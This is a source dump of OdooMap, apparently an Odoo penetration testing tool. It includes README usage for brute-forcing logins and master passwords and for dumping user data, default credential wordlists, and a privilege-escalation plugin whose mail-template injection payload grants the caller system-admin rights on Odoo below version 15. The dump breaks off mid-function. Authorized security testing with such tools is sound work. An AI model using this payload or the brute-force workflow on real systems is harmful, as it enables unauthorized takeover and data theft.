├── odoomap
├── __init__.py
├── data
│ ├── default_usernames.txt
│ ├── default_passwords.txt
│ ├── default_models.txt
│ └── odoo_18
│ │ └── v18-models.txt
├── plugins
│ ├── __init__.py
│ ├── plugin_base.py
│ ├── cve-scanner.py
│ └── old-odoo-privesc.py
├── utils
│ ├── colors.py
│ └── brute_display.py
├── plugin_manager.py
├── actions.py
├── core.py
└── connect.py
├── requirements.txt
├── odoomap.py
├── pyproject.toml
├── .gitignore
├── README.md
└── LICENSE
/odoomap/__init__.py:
--------------------------------------------------------------------------------
1 | __version__ = "1.4.3"
--------------------------------------------------------------------------------
/odoomap/data/default_usernames.txt:
--------------------------------------------------------------------------------
1 | admin
2 | demo
3 | user
4 | odoo
5 | administrator
6 | test
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/MohamedKarrab/odoomap/HEAD/requirements.txt
--------------------------------------------------------------------------------
/odoomap/data/default_passwords.txt:
--------------------------------------------------------------------------------
1 | admin
2 | password
3 | demo
4 | odoo
5 | 123456
6 | 12345678
7 | test
8 | Master
--------------------------------------------------------------------------------
/odoomap.py:
--------------------------------------------------------------------------------
1 | # Just a wrapper for core.py
2 | from odoomap.core import main
3 |
4 | if __name__ == "__main__":
5 | main()
6 |
--------------------------------------------------------------------------------
/odoomap/plugins/__init__.py:
--------------------------------------------------------------------------------
1 | # Plugin package for OdooMap
2 | """
3 | OdooMap Plugin System
4 |
5 | This package contains all available plugins for the OdooMap security assessment tool.
6 | """
7 |
--------------------------------------------------------------------------------
/odoomap/utils/colors.py:
--------------------------------------------------------------------------------
1 | class Colors:
2 | HEADER = '\033[92m' # Bright Green
3 | OKGREEN = '\033[32m' # Green
4 | OKCYAN = '\033[36m' # Cyan
5 | WARNING = '\033[93m' # Yellow
6 | FAIL = '\033[91m' # Red
7 | ENDC = '\033[0m' # Reset
8 | BOLD = '\033[1m'
9 | UNDERLINE = '\033[4m'
10 |
11 | # Status prefixes (short aliases)
12 | i = INFO = f"{OKCYAN}[*]{ENDC}"
13 | s = SUCCESS = f"{OKGREEN}[+]{ENDC}"
14 | e = ERROR = f"{FAIL}[-]{ENDC}"
15 | w = WARN = f"{WARNING}[!]{ENDC}"
16 | t = TRYING = f"{OKCYAN}[>]{ENDC}"
--------------------------------------------------------------------------------
/pyproject.toml:
--------------------------------------------------------------------------------
1 | [project]
2 | name = "odoomap"
3 | dynamic = ["version"]
4 | description = "Odoo Security Assessment Tool"
5 | authors = [{ name = "Mohamed Karrab" }]
6 | license = { text = "Apache-2.0" }
7 | readme = "README.md"
8 | dependencies = [
9 | "requests>=2.25,<3",
10 | "beautifulsoup4>=4.9,<5",
11 | "rich>=14.0.0"
12 | ]
13 | requires-python = ">=3.9"
14 |
15 | [build-system]
16 | requires = ["hatchling"]
17 | build-backend = "hatchling.build"
18 |
19 | [tool.hatch.build.targets.wheel]
20 | packages = ["odoomap"]
21 |
22 | [tool.hatch.build]
23 | include = [
24 | "odoomap/data/*",
25 | "odoomap/plugins/*",
26 | "odoomap/utils/*"
27 | ]
28 |
29 | [project.scripts]
30 | odoomap = "odoomap.core:main"
31 |
32 | [tool.hatch.version]
33 | path = "odoomap/__init__.py"
--------------------------------------------------------------------------------
/odoomap/utils/brute_display.py:
--------------------------------------------------------------------------------
1 | import time
2 | from rich.console import Console
3 | from rich.live import Live
4 | from rich.text import Text
5 |
6 | console = Console()
7 |
8 | class BruteDisplay:
9 | def __init__(self, total):
10 | self.total = total
11 | self.attempts = 0
12 | self.errors = 0
13 | self.successes = []
14 | self.start_time = time.time()
15 | self.last_attempt_time = self.start_time
16 | self.live = Live(self._render("", 0, 0), console=console, refresh_per_second=10, auto_refresh=True,
17 | transient=False)
18 | self.live.__enter__()
19 |
20 | def _render(self, current_try, attempts, errors):
21 | elapsed = time.time() - self.start_time
22 | rps = attempts / elapsed if elapsed > 0 else 0
23 | percent = (attempts / self.total * 100) if self.total > 0 else 0
24 |
25 | # build manually with Text to avoid auto coloring
26 | text = Text()
27 | text.append(f"{current_try}\n", style="white")
28 | text.append(f"{attempts}", style="white")
29 | text.append(f"/{self.total} ", style="white")
30 | text.append(f"({percent:.1f}%)", style="yellow")
31 | text.append(" | ")
32 | text.append(f"{rps:.2f}", style="bold magenta")
33 | text.append(" req/s | ")
34 | text.append(f"{int(elapsed)}s", style="bold green")
35 | text.append(" elapsed | errors: ")
36 | text.append(f"{errors}", style="bold red")
37 |
38 | return text
39 |
40 | def update(self, current_try):
41 | self.attempts += 1
42 | self.last_attempt_time = time.time()
43 | self.live.update(self._render(current_try, self.attempts, self.errors))
44 |
45 | def add_success(self, msg):
46 | self.successes.append(msg)
47 | console.print(f"[green] [+][/green] {msg}")
48 |
49 | def add_error(self, msg=""):
50 | self.errors += 1
51 | if msg:
52 | console.print(f"[red]ERROR:[/red] {msg}")
53 |
54 | def stop(self):
55 | self.live.__exit__(None, None, None)
56 | elapsed = time.time() - self.start_time
57 | rps = self.attempts / elapsed if elapsed > 0 else 0
58 | console.print(
59 | f"\n",
60 | f"[white]Process complete:[/white]", end=""
61 | )
62 |
63 | if len(self.successes) > 0:
64 | console.print(f"[green] Success={len(self.successes)}")
65 | else:
66 | console.print(f"[red] Success=0")
67 |
--------------------------------------------------------------------------------
/odoomap/plugins/plugin_base.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | """
3 | Base plugin structure and metadata system for OdooMap plugins
4 | """
5 |
6 | from abc import ABC, abstractmethod
7 | from typing import Dict, Any, Optional, List
8 | from dataclasses import dataclass
9 | from enum import Enum
10 |
11 | class PluginCategory(Enum):
12 | """Plugin categories for organization"""
13 | SECURITY = "security"
14 | ENUMERATION = "enumeration"
15 | EXPLOITATION = "exploitation"
16 | INFORMATION = "information"
17 | REPORTING = "reporting"
18 |
19 | @dataclass
20 | class PluginMetadata:
21 | """Simple metadata structure for plugins"""
22 | name: str
23 | description: str
24 | author: str
25 | version: str
26 | category: PluginCategory
27 | requires_auth: bool = False
28 | requires_connection: bool = True
29 | external_dependencies: Optional[List[str]] = None
30 |
31 | def __post_init__(self):
32 | if self.external_dependencies is None:
33 | self.external_dependencies = []
34 |
35 | class BasePlugin(ABC):
36 | """Base class for all OdooMap plugins"""
37 |
38 | def __init__(self):
39 | self.metadata = self.get_metadata()
40 |
41 | @abstractmethod
42 | def get_metadata(self) -> PluginMetadata:
43 | """Return plugin metadata"""
44 | pass
45 |
46 | @abstractmethod
47 | def run(self, target_url: str, database: Optional[str] = None,
48 | username: Optional[str] = None, password: Optional[str] = None,
49 | connection: Optional[Any] = None) -> str:
50 | """
51 | Main plugin execution method
52 |
53 | Args:
54 | target_url: Target Odoo instance URL
55 | database: Database name (optional)
56 | username: Username for authentication (optional)
57 | password: Password for authentication (optional)
58 | connection: Active connection object (optional)
59 |
60 | Returns:
61 | String result of plugin execution
62 | """
63 | pass
64 |
65 | def validate_requirements(self, connection: Optional[Any] = None,
66 | username: Optional[str] = None,
67 | password: Optional[str] = None) -> bool:
68 | """Check if plugin requirements are met"""
69 | if self.metadata.requires_connection and connection is None:
70 | return False
71 | if self.metadata.requires_auth and (username is None or password is None):
72 | return False
73 | return True
74 |
75 | # Backward compatibility - keep the old Plugin name
76 | Plugin = BasePlugin
77 |
--------------------------------------------------------------------------------
/odoomap/plugin_manager.py:
--------------------------------------------------------------------------------
1 | import os
2 | import importlib
3 | from typing import Dict, Any
4 |
5 | def list_available_plugins():
6 | """Just list plugin names without loading them"""
7 | plugin_dir = os.path.join(os.path.dirname(__file__), "plugins")
8 | if not os.path.exists(plugin_dir):
9 | return []
10 | return [f[:-3] for f in os.listdir(plugin_dir)
11 | if f.endswith(".py") and not f.startswith("__") and f != "plugin_base.py"]
12 |
13 | def load_specific_plugin(plugin_name):
14 | """Load only the specified plugin"""
15 | try:
16 | # Try relative import first (for development)
17 | try:
18 | module = importlib.import_module(f".plugins.{plugin_name}", package="odoomap")
19 | except ImportError:
20 | # Fallback to absolute import (for installed package)
21 | module = importlib.import_module(f"odoomap.plugins.{plugin_name}")
22 | return module.Plugin()
23 | except (ImportError, AttributeError) as e:
24 | raise ValueError(f"Could not load plugin '{plugin_name}': {e}")
25 |
26 | def get_plugin_info() -> Dict[str, Any]:
27 | """Get plugin metadata with lightweight loading"""
28 | plugin_dir = os.path.join(os.path.dirname(__file__), "plugins")
29 | plugins_info = {}
30 |
31 | if not os.path.exists(plugin_dir):
32 | return plugins_info
33 |
34 | for file in os.listdir(plugin_dir):
35 | if file.endswith(".py") and not file.startswith("__") and file != "plugin_base.py":
36 | name = file[:-3]
37 | try:
38 | # Quick load to get metadata using same import logic
39 | try:
40 | module = importlib.import_module(f".plugins.{name}", package="odoomap")
41 | except ImportError:
42 | module = importlib.import_module(f"odoomap.plugins.{name}")
43 | plugin_instance = module.Plugin()
44 |
45 | if hasattr(plugin_instance, 'metadata'):
46 | plugins_info[name] = {
47 | 'name': plugin_instance.metadata.name,
48 | 'description': plugin_instance.metadata.description,
49 | 'author': plugin_instance.metadata.author,
50 | 'version': plugin_instance.metadata.version,
51 | 'category': plugin_instance.metadata.category.value,
52 | 'requires_auth': plugin_instance.metadata.requires_auth,
53 | 'requires_connection': plugin_instance.metadata.requires_connection,
54 | 'external_dependencies': plugin_instance.metadata.external_dependencies,
55 | 'file': file,
56 | 'loaded': False
57 | }
58 | else:
59 | plugins_info[name] = {
60 | 'name': name,
61 | 'description': 'No description available',
62 | 'author': 'Unknown',
63 | 'version': '1.0.0',
64 | 'category': 'unknown',
65 | 'requires_auth': False,
66 | 'requires_connection': True,
67 | 'external_dependencies': [],
68 | 'file': file,
69 | 'loaded': False
70 | }
71 | except Exception as e:
72 | plugins_info[name] = {
73 | 'name': name,
74 | 'description': f'Plugin load error: {e}',
75 | 'author': 'Unknown',
76 | 'version': '1.0.0',
77 | 'category': 'unknown',
78 | 'requires_auth': False,
79 | 'requires_connection': True,
80 | 'external_dependencies': [],
81 | 'file': file,
82 | 'loaded': False,
83 | 'error': str(e)
84 | }
85 |
86 | return plugins_info
87 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Custom:
2 | dump/
3 | test/
4 | unconfirmed/
5 |
6 | # VSCode
7 | .vscode
8 |
9 | # Byte-compiled / optimized / DLL files
10 | __pycache__/
11 | *.py[cod]
12 | *$py.class
13 |
14 | # C extensions
15 | *.so
16 |
17 | # Distribution / packaging
18 | .Python
19 | build/
20 | develop-eggs/
21 | dist/
22 | downloads/
23 | eggs/
24 | .eggs/
25 | lib/
26 | lib64/
27 | parts/
28 | sdist/
29 | var/
30 | wheels/
31 | share/python-wheels/
32 | *.egg-info/
33 | .installed.cfg
34 | *.egg
35 | MANIFEST
36 |
37 | # PyInstaller
38 | # Usually these files are written by a python script from a template
39 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
40 | *.manifest
41 | *.spec
42 |
43 | # Installer logs
44 | pip-log.txt
45 | pip-delete-this-directory.txt
46 |
47 | # Unit test / coverage reports
48 | htmlcov/
49 | .tox/
50 | .nox/
51 | .coverage
52 | .coverage.*
53 | .cache
54 | nosetests.xml
55 | coverage.xml
56 | *.cover
57 | *.py,cover
58 | .hypothesis/
59 | .pytest_cache/
60 | cover/
61 |
62 | # Translations
63 | *.mo
64 | *.pot
65 |
66 | # Django stuff:
67 | *.log
68 | local_settings.py
69 | db.sqlite3
70 | db.sqlite3-journal
71 |
72 | # Flask stuff:
73 | instance/
74 | .webassets-cache
75 |
76 | # Scrapy stuff:
77 | .scrapy
78 |
79 | # Sphinx documentation
80 | docs/_build/
81 |
82 | # PyBuilder
83 | .pybuilder/
84 | target/
85 |
86 | # Jupyter Notebook
87 | .ipynb_checkpoints
88 |
89 | # IPython
90 | profile_default/
91 | ipython_config.py
92 |
93 | # pyenv
94 | # For a library or package, you might want to ignore these files since the code is
95 | # intended to run in multiple environments; otherwise, check them in:
96 | # .python-version
97 |
98 | # pipenv
99 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
100 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
101 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
102 | # install all needed dependencies.
103 | #Pipfile.lock
104 |
105 | # UV
106 | # Similar to Pipfile.lock, it is generally recommended to include uv.lock in version control.
107 | # This is especially recommended for binary packages to ensure reproducibility, and is more
108 | # commonly ignored for libraries.
109 | #uv.lock
110 |
111 | # poetry
112 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
113 | # This is especially recommended for binary packages to ensure reproducibility, and is more
114 | # commonly ignored for libraries.
115 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
116 | #poetry.lock
117 |
118 | # pdm
119 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
120 | #pdm.lock
121 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
122 | # in version control.
123 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control
124 | .pdm.toml
125 | .pdm-python
126 | .pdm-build/
127 |
128 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
129 | __pypackages__/
130 |
131 | # Celery stuff
132 | celerybeat-schedule
133 | celerybeat.pid
134 |
135 | # SageMath parsed files
136 | *.sage.py
137 |
138 | # Environments
139 | .env
140 | .venv
141 | env/
142 | venv/
143 | ENV/
144 | env.bak/
145 | venv.bak/
146 |
147 | # Spyder project settings
148 | .spyderproject
149 | .spyproject
150 |
151 | # Rope project settings
152 | .ropeproject
153 |
154 | # mkdocs documentation
155 | /site
156 |
157 | # mypy
158 | .mypy_cache/
159 | .dmypy.json
160 | dmypy.json
161 |
162 | # Pyre type checker
163 | .pyre/
164 |
165 | # pytype static type analyzer
166 | .pytype/
167 |
168 | # Cython debug symbols
169 | cython_debug/
170 |
171 | # PyCharm
172 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can
173 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
174 | # and can be added to the global gitignore or merged into this file. For a more nuclear
175 | # option (not recommended) you can uncomment the following to ignore the entire idea folder.
176 | #.idea/
177 |
178 | # Ruff stuff:
179 | .ruff_cache/
180 |
181 | # PyPI configuration file
182 | .pypirc
--------------------------------------------------------------------------------
/odoomap/plugins/cve-scanner.py:
--------------------------------------------------------------------------------
1 | import requests
2 | import re
3 | from rich.console import Console
4 | from rich.panel import Panel
5 | from rich.text import Text
6 | from rich.table import Table
7 | from rich.box import MINIMAL
8 | from .plugin_base import BasePlugin, PluginMetadata, PluginCategory
9 |
10 | console = Console()
11 |
12 | class Plugin(BasePlugin):
13 | """Searches for Odoo CVEs in the NVD database using the detected version"""
14 |
15 | # For testing purposes only - set to None in production
16 | # TEST_VERSION = "18" # Example: Test with Odoo 18
17 | TEST_VERSION = None
18 |
19 | def get_metadata(self) -> PluginMetadata:
20 | return PluginMetadata(
21 | name="CVE Scanner",
22 | description="Searches for known CVEs affecting the detected Odoo version using the NVD database",
23 | author="bohmiiidd",
24 | version="1.2.0",
25 | category=PluginCategory.SECURITY,
26 | requires_auth=False,
27 | requires_connection=True,
28 | external_dependencies=["requests", "rich"]
29 | )
30 |
31 | def run(self, target_url, database=None, username=None, password=None, connection=None):
32 | if self.TEST_VERSION:
33 | version = self.TEST_VERSION
34 | console.print(f"[yellow][!] Running in test mode with hardcoded version: {version}")
35 | else:
36 | if not self.validate_requirements(connection=connection):
37 | return "Error: This plugin requires an active connection to detect Odoo version"
38 |
39 | if connection:
40 | version_info = connection.get_version()
41 | if not version_info:
42 | console.print("[red][-] Could not detect Odoo version")
43 | return "Error: Unable to detect Odoo version. Version detection is required for CVE scanning."
44 | else:
45 | raw_version = version_info.get("server_version")
46 | if not raw_version:
47 | console.print("[red][-] Server version not available in connection info")
48 | return "Error: Server version not available. Cannot perform CVE scan without version information."
49 |
50 | version = normalize_version(raw_version)
51 | if not version:
52 | console.print(f"[red][-] Could not parse version from: {raw_version}")
53 | return f"Error: Unable to parse version from '{raw_version}'"
54 |
55 | console.print(f"[green][+] Detected Odoo version: {raw_version} (searching for: {version})")
56 | else:
57 | console.print("[red][!] No connection provided - version detection failed")
58 | return "Error: No connection available for version detection. CVE scanning requires version information."
59 |
60 | # Query NVD
61 | try:
62 | console.print(f"[blue][*] Querying NVD database for Odoo {version} vulnerabilities...")
63 | data = search_nvd(version)
64 | except Exception as e:
65 | console.print(f"[red][-] Error querying NVD: {e}")
66 | return f"Error: Failed to query NVD database - {e}"
67 |
68 | vulns = data.get("vulnerabilities", [])
69 | if not vulns:
70 | console.print(f"[yellow][-] No CVEs found for Odoo {version}")
71 | return f"No CVEs found for Odoo version {version}"
72 |
73 | console.print(f"[green][+] Found {len(vulns)} unique CVE(s) for Odoo {version}:\n")
74 |
75 | results = []
76 | for vuln in vulns:
77 | cve = vuln["cve"]
78 | cve_id = cve["id"]
79 | desc = safe_get_description(cve)
80 | score = format_score(cve)
81 | refs = format_references(cve)
82 |
83 | if score == "N/A":
84 | sev_style = "white"
85 | else:
86 | try:
87 | score_float = float(score)
88 | if score_float >= 9:
89 | sev_style = "magenta"
90 | elif score_float >= 7:
91 | sev_style = "bold red"
92 | elif score_float >= 4:
93 | sev_style = "yellow"
94 | else:
95 | sev_style = "green"
96 | except (ValueError, TypeError):
97 | sev_style = "white"
98 |
99 | table = Table(box=MINIMAL, show_header=False, padding=(0, 1))
100 | table.add_column("Key", style="cyan")
101 | table.add_column("Value")
102 | table.add_row("CVE ID", Text(cve_id, style="bold"))
103 | table.add_row("CVSS Score", Text(score, style=sev_style))
104 | table.add_row("Description", Text(desc, style="white"))
105 |
106 | ref_list = Text(" - ", style="blue")
107 | ref_list.append("\n - ".join(refs))
108 | table.add_row("References", ref_list)
109 |
110 | console.print(Panel(table, title=f"[{sev_style}]{cve_id}[/{sev_style}]", border_style=sev_style))
111 |
112 | results.append({
113 | "cve_id": cve_id,
114 | "cvss_score": score,
115 | "description": desc,
116 | "references": refs
117 | })
118 |
119 | return f"CVE scan completed. Found {len(vulns)} vulnerabilities for Odoo {version}"
120 |
121 |
122 | def normalize_version(version_string):
123 | """Extract major version number from Odoo version string"""
124 | match = re.search(r'(\d+)', str(version_string))
125 | return match.group(1) if match else None
126 |
127 | def search_nvd(version):
128 | """Query NVD for Odoo CVEs for a given version"""
129 | url = "https://services.nvd.nist.gov/rest/json/cves/2.0"
130 |
131 | search_terms = [
132 | f"odoo {version}",
133 | f"odoo {version}.0",
134 | f"odoo community {version}",
135 | f"odoo enterprise {version}"
136 | ]
137 |
138 | all_cves = []
139 | for term in search_terms:
140 | try:
141 | params = {"keywordSearch": term}
142 | resp = requests.get(url, params=params, timeout=15)
143 | resp.raise_for_status()
144 | data = resp.json()
145 | vulns = data.get("vulnerabilities", [])
146 | all_cves.extend(vulns)
147 | except requests.RequestException:
148 | continue
149 |
150 | seen_cves = set()
151 | unique_cves = []
152 | for vuln in all_cves:
153 | cve_id = vuln["cve"]["id"]
154 | if cve_id not in seen_cves:
155 | seen_cves.add(cve_id)
156 | unique_cves.append(vuln)
157 |
158 | return {"vulnerabilities": unique_cves}
159 |
160 | def format_score(cve):
161 | """Extract CVSS score if available"""
162 | metrics = cve.get("metrics", {})
163 | if "cvssMetricV31" in metrics:
164 | return str(metrics["cvssMetricV31"][0]["cvssData"]["baseScore"])
165 | if "cvssMetricV30" in metrics:
166 | return str(metrics["cvssMetricV30"][0]["cvssData"]["baseScore"])
167 | if "cvssMetricV2" in metrics:
168 | return str(metrics["cvssMetricV2"][0]["cvssData"]["baseScore"])
169 | return "N/A"
170 |
171 | def safe_get_description(cve):
172 | """Safely extract CVE description"""
173 | descriptions = cve.get("descriptions", [])
174 | if descriptions and len(descriptions) > 0:
175 | return descriptions[0].get("value", "No description available")
176 | return "No description available"
177 |
178 | def format_references(cve):
179 | """Extract first 2 references"""
180 | refs = [r["url"] for r in cve.get("references", [])]
181 | return refs[:2] if refs else ["No references"]
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
5 |
6 | # OdooMap
7 | 
8 | 
9 | 
10 | 
11 | [](https://x.com/_Karrab)
12 | [](https://www.linkedin.com/in/mohamedkarrab/)
13 |
14 |
15 | **OdooMap** is a reconnaissance, enumeration, and security testing tool for [Odoo](https://www.odoo.com/) applications.
16 |
17 | ## Features
18 |
19 | - Detect Odoo version and metadata
20 | - Enumerate databases and accessible models
21 | - Authenticate and check CRUD permissions
22 | - Extract data from specific models
23 | - Brute-force login credentials & Master password
24 | - Brute-force internal model names
25 | - Extensible plugin system for security assessments
26 |
27 | ## Screenshots
28 |
29 |
30 |
31 | cve-scanner plugin:
32 |
33 |
34 |
35 | ## Installation
36 | > :information_source: It is advisable to use `pipx` over `pip` for system-wide installations.
37 | ```bash
38 | git clone https://github.com/MohamedKarrab/odoomap.git && cd odoomap
39 | pipx ensurepath && pipx install .
40 |
41 | # Now restart your terminal and run
42 | odoomap -h
43 |
44 | # To update:
45 | pipx upgrade odoomap
46 | ```
47 | *Or*
48 | ```bash
49 | git clone https://github.com/MohamedKarrab/odoomap.git
50 | cd odoomap
51 | pip install -r requirements.txt
52 | python odoomap.py -h
53 | ```
54 |
55 | ## Usage Examples
56 |
57 | #### Basic Reconnaissance
58 |
59 | ```bash
60 | odoomap -u https://example.com
61 | ```
62 |
63 | #### Authenticate and Enumerate Models
64 |
65 | ```bash
66 | odoomap -u https://example.com -D database_name -U admin -P pass -e -l 200 -o models.txt
67 | ```
68 |
69 | #### Check Model Permissions (Read, Write, Create, Delete)
70 |
71 | ```bash
72 | odoomap -u https://example.com -D database_name -U test@example.com -P pass -e -pe -l 10
73 | ```
74 |
75 | #### Dump Data from Specific Models
76 |
77 | ```bash
78 | odoomap -u https://example.com -D database_name -U admin -P pass -d res.users,res.partner -o ./output.txt
79 | ```
80 |
81 | #### Dump Data from Model File
82 |
83 | ```bash
84 | odoomap -u https://example.com -D database_name -U admin -P pass -d models.txt -o ./dump
85 | ```
86 |
87 |
88 | ## Brute-force Options
89 |
90 | #### Brute-force Database Names
91 | Case-sensitive, but db names are generally lowercase.
92 | ```bash
93 | odoomap -u https://example.com -n -N db-names.txt
94 | ```
95 |
96 | #### Default Credentials Attack
97 |
98 | ```bash
99 | odoomap -u https://example.com -D database_name -b
100 | ```
101 |
102 | #### Custom User & Pass Files
103 |
104 | ```bash
105 | odoomap -u https://example.com -D database_name -b --usernames users.txt --passwords passes.txt
106 | ```
107 |
108 | #### User\:Pass Combo List
109 |
110 | ```bash
111 | odoomap -u https://example.com -D database_name -b -w wordlist.txt
112 | ```
113 |
114 | #### Brute-force Master Password
115 |
116 | ```bash
117 | odoomap -u https://example.com -M -p pass_list.txt
118 | ```
119 |
120 | ## Advanced Enumeration
121 |
122 | #### Brute-force Model Names
123 |
124 | ```bash
125 | odoomap -u https://example.com -D database_name -U admin -P pass -e -B --model-file models.txt
126 | ```
127 |
128 | #### Recon + Enumeration + Dump
129 |
130 | ```bash
131 | odoomap -u https://example.com -D database_name -U admin -P pass -r -e -pe -d res.users -o ./output
132 | ```
133 |
134 | ## Plugin System
135 |
136 | #### List Available Plugins
137 |
138 | ```bash
139 | odoomap --list-plugins
140 | ```
141 |
142 | #### Run CVE Scanner Plugin
143 |
144 | ```bash
145 | odoomap -u https://example.com --plugin cve-scanner
146 | ```
147 |
148 | #### Run Plugin with Authentication
149 |
150 | ```bash
151 | odoomap -u https://example.com -D database_name -U admin -P pass --plugin cve-scanner
152 | ```
153 |
154 |
155 | ## Full Usage
156 |
157 | ```
158 | usage: odoomap.py [-h] [-u URL] [-D DATABASE] [-U USERNAME] [-P [PASSWORD]] [-r] [-e] [-pe] [-l LIMIT] [-o OUTPUT] [-d DUMP] [-B] [--model-file MODEL_FILE] [-b] [-w WORDLIST] [--usernames USERNAMES] [--passwords PASSWORDS] [-M] [-p MASTER_PASS] [-n] [-N DB_NAMES_FILE] [--plugin PLUGIN] [--list-plugins]
159 |
160 | Odoo Security Assessment Tool
161 |
162 | options:
163 | -h, --help show this help message and exit
164 | -u, --url URL Target Odoo server URL
165 | -D, --database DATABASE
166 | Target database name
167 | -U, --username USERNAME
168 | Username for authentication
169 | -P, --password [PASSWORD]
170 | Password for authentication (prompts securely if no value provided)
171 | -r, --recon Perform initial reconnaissance
172 | -e, --enumerate Enumerate available model names
173 | -pe, --permissions Enumerate model permissions (requires -e)
174 | -l, --limit LIMIT Limit results for enumeration or dump operations
175 | -o, --output OUTPUT Output file for results
176 | -d, --dump DUMP Dump data from specified model(s); accepts a comma-separated list or a file path containing model names (one per line)
177 | -B, --bruteforce-models
178 | Bruteforce model names instead of listing them (default if listing fails)
179 | --model-file MODEL_FILE
180 | File containing model names for bruteforcing (one per line)
181 | -b, --bruteforce Bruteforce login credentials (requires -D)
182 | -w, --wordlist WORDLIST
183 | Wordlist file for bruteforcing in user:pass format
184 | --usernames USERNAMES
185 | File containing usernames for bruteforcing (one per line)
186 | --passwords PASSWORDS
187 | File containing passwords for bruteforcing (one per line)
188 | -M, --bruteforce-master
189 | Bruteforce the database's master password
190 | -p, --master-pass MASTER_PASS
191 | Wordlist file for master password bruteforcing (one password per line)
192 | -n, --brute-db-names Bruteforce database names
193 | -N, --db-names-file DB_NAMES_FILE
194 | File containing database names for bruteforcing (case-sensitive)
195 | --plugin PLUGIN Run a specific plugin by name (from odoomap/plugins/)
196 | --list-plugins List all available plugins with metadata
197 | ```
198 |
199 | ## Plugin Development
200 |
201 | OdooMap features an extensible plugin system for custom security assessments. Plugins are located in `odoomap/plugins/` and follow a standardized interface.
202 |
203 | ### Built-in Plugins
204 |
205 | - **CVE Scanner**: Searches for known CVEs affecting the detected Odoo version using the NVD database
206 |
207 | ### Creating Custom Plugins
208 |
209 | 1. Create a new Python file in `odoomap/plugins/`
210 | 2. Inherit from `BasePlugin` class
211 | 3. Implement required methods:
212 | - `get_metadata()`: Return plugin information
213 | - `run()`: Main plugin logic
214 |
215 | ## License
216 |
217 | Apache License 2.0, see [LICENSE](https://github.com/MohamedKarrab/odoomap/blob/main/LICENSE)
218 |
219 | ## Notice
220 | OdooMap is an independent project and is not affiliated with, endorsed by, or sponsored by Odoo S.A. or the official Odoo project in any way.
221 |
222 | ## Disclaimer
223 |
224 | This tool is for lawful security and penetration testing with proper authorization. Unauthorized use is strictly prohibited. The author assumes no liability for any misuse or damage resulting from the use of this tool.
225 |
226 | ## Contributions
227 |
228 | Feel free to open issues or submit pull requests for enhancements or bug fixes!
229 |
--------------------------------------------------------------------------------
/odoomap/plugins/old-odoo-privesc.py:
--------------------------------------------------------------------------------
1 | from enum import Enum
2 | import re
3 | from ..utils.colors import Colors
4 | from .plugin_base import BasePlugin, PluginMetadata, PluginCategory
5 |
6 | class VulnerableStatus(Enum):
7 | VULNERABLE = 1
8 | UNKNOWN = 2
9 | NOT_VULNERABLE = 3
10 |
11 | class Plugin(BasePlugin):
12 | """Exploit in Odoo allowing any authenticated user to
13 | execute 'some' arbitrary python code on the server.
14 | Thus changing their own groups.
15 |
16 | By Guilhem RIOUX (@jrjgjk)
17 | Orange Cyberdefense
18 | """
19 | MAX_VERSION = "15.0" # striclty below
20 | MIN_VERSION = "9.0"
21 |
22 | def __init__(self):
23 | super().__init__()
24 | self.connection = None
25 | self.model = "res.users"
26 |
27 | def get_metadata(self) -> PluginMetadata:
28 | return PluginMetadata(
29 | name="Privilege escalation for old odoo versions",
30 | description="Try to escalate privileges of " +\
31 | "the current user, target odoo < 15.0",
32 | author="jrjgjk",
33 | version="1.0.0",
34 | category=PluginCategory.EXPLOITATION,
35 | requires_auth=True,
36 | requires_connection=True,
37 | external_dependencies=[""]
38 | )
39 |
40 | @classmethod
41 | def parse_version(cls, version_str):
42 | """Convert a version string like '14.0' into a tuple (14,0)"""
43 | return tuple(int(x) for x in version_str.split(".") if x.isdigit())
44 |
45 | @classmethod
46 | def is_version_vulnerable(cls, version):
47 | """
48 | Compare the version of the target with those
49 | stored on the class fields (no external packages needed)
50 | """
51 | if isinstance(version, str):
52 | version = cls.parse_version(version)
53 |
54 | min_v = cls.parse_version(cls.MIN_VERSION)
55 | max_v = cls.parse_version(cls.MAX_VERSION)
56 |
57 | return min_v <= version < max_v
58 |
59 | @staticmethod
60 | def get_payload():
61 | """
62 | Return the payload that will be injected inside
63 | an Odoo mail template
64 | """
65 | payload = '${ object.sudo().write({"groups_id": [(4, object.sudo().env.ref("base.group_system").id)]}) }'
66 | return payload
67 |
68 | def get_values_to_write(self):
69 | """
70 | Get the dictionary of values that will be written
71 | to the `mail.template` table
72 | """
73 | return {"lang": self.__class__.get_payload(),
74 | "model": self.model}
75 |
76 | def _is_module_loaded(self):
77 | """
78 | Check if the module is loaded
79 | """
80 | try:
81 | self.connection.models.execute_kw(
82 | self.connection.db, self.connection.uid, self.connection.password,
83 | "mail.template", 'search', [[]], {'limit': 1})
84 | except Exception as e:
85 | return False
86 | return True
87 |
88 | def check(self, db, username, password):
89 | """
90 | Check if the target is vulnerable.
91 |
92 | A target is considered vulnerable if:
93 | 1. Its Odoo version is within the vulnerable range.
94 | 2. The 'mail' module is loaded.
95 | 3. The current user can edit the `mail.template` table.
96 | """
97 |
98 | if not self.connection.authenticate(db, username, password):
99 | exit(0)
100 |
101 | if not self._is_module_loaded():
102 | return VulnerableStatus.NOT_VULNERABLE, "Mail module is not loaded"
103 |
104 | version_info = self.connection.get_version()
105 | if not version_info or not version_info.get("server_version"):
106 | return VulnerableStatus.UNKNOWN, "Could not determine Odoo version"
107 |
108 | raw_version = version_info.get("server_version")
109 | match = re.search(r'(\d+(\.\d+)*)', str(raw_version))
110 | version = match.group(1) if match else None
111 |
112 | if not version:
